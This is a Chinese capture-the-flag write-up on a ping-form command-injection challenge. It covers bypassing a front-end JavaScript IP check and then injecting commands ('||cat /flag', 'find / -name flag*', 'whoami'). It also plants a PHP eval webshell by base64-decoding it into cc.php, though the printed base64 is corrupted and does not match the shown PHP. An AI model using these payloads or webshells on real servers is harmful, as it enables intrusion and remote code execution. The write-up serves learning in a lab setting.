- 一题多解思考
看题目
尝试随便ping一个值
比如本地回环地址127.0.01
果然不行呢,有验证,查了一下资料叫做前端验证
采用的是JavaScript的方式:
JavaScript功能
IP地址验证:check_ip()
函数用于验证用户输入的IP地址是否符合IPv4格式。它使用正则表达式 /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/
来匹配有效的IPv4地址。如果输入的IP地址不符合格式,函数会弹出警告并返回false
,阻止表单提交。
所以可以考虑禁用JavaScript
思路一
禁用JavaScript
然后再输入刚刚尝试的地址
得到这个,?好像没啥用
查看一下文件输入127.0.01||ls/
找到了flag
输入127.0.01||cat/flag
flag=NSSCTF{cae6837d-0912-4b2b-bbd8-0ed6e1695c9e}
思路二
使用hackbar发包
不知道怎么回事我的浏览器的hackbar安装的问题
审计源码
<form action="" method="posT" onsubmit="return check_ip()">
<input id="command" name="command" type="text" placeholder="Enter an IP address"/>
<input name="ping" type="submit" value="Ping"/>
</form>
同样是发送comment=127.0.01||ls/(当然我的插件出问题了就没有演示,图片上使用的1.1.1.1也可以)
然后发现flag
再发送comment=127.0.01||cat/flag来读取flag的值
思路三
这个本来放在思路四的,排版排上来了,这个有点没明白
Hook技术绕过前端验证
使用JavaScript Hook
javascript
check_ip = function(){}
Hook check_ip
函数:通过在浏览器的开发者工具(如Chrome的控制台)中重新定义 check_ip
函数,将其替换为一个空函数。这样,无论用户输入什么内容,check_ip
函数都会返回 true
,从而绕过前端的IP地址验证。
思路四
学习师傅的思路
采用burpsuite抓包
命令注入攻击
- 原始请求:假设原始请求中有一个参数
command
,其值为127.0.0.1
,表示要执行的命令。 - 修改请求:攻击者通过BurpSuite修改请求,将
command
参数的值改为127.0.0.1|whoami
,这里的|
是管道符,用于将前一个命令的输出作为后一个命令的输入。 - 执行命令:后端接收到修改后的请求后,会执行
127.0.0.1|whoami
,其中whoami
是一个Linux命令,用于显示当前用户的用户名。 - 返回结果:后端返回执行结果
www-data
,表示当前用户是www-data
。
进一步利用
- 查找文件:攻击者继续修改请求,将
command
参数的值改为127.0.0.x||find / -name flag*
,这里的||
表示如果前一个命令失败,则执行后一个命令。find / -name flag*
用于在根目录下查找文件名以flag
开头的文件。 - 返回结果:后端返回
/flag
,表示找到了一个名为flag
的文件。 - 读取文件:攻击者再次修改请求,将
command
参数的值改为127.0.0.x||cat /flag
,这里的cat /flag
用于读取flag
文件的内容。 - 返回结果:后端返回
flag=NSSCTF(e3c1168b-4204-4875-a84b-bacdca94b744)
,表示成功读取了flag
文件的内容。
写入WebShell
- WebShell:WebShell 是一种恶意脚本,通常以PHP、ASP等语言编写,允许攻击者在目标服务器上执行任意命令。
- 编码WebShell:攻击者编写了一个简单的PHP WebShell,内容为
<?php eval($_POST[cc]);?>
,并将其Base64编码为PD9waiMgZXZhbcgkXIBPUIRbYZNdkTs/Pg==
。 - 写入文件:攻击者通过修改请求,将
command
参数的值改为127.0.0.x||echo "PD9waiMgZXZhbcgkXIBPUIRbYZNdkTs/Pg==" | base64 -d >cc.php
,这里的echo ... | base64 -d >cc.php
用于将Base64编码的内容解码并写入cc.php
文件。 - 成功写入:后端执行命令后,成功将WebShell写入
cc.php
文件,攻击者现在可以通过访问cc.php
并发送POST请求来执行任意PHP代码。
总结
- 考点:前端禁用&命令执行 本题目是经典PING命令RCE题目,采用前端验证的方法阻止危险命令,所以解法也很多样。
- 学会了使用多种工具来辅助自己绕过前段验证
Comments NOTHING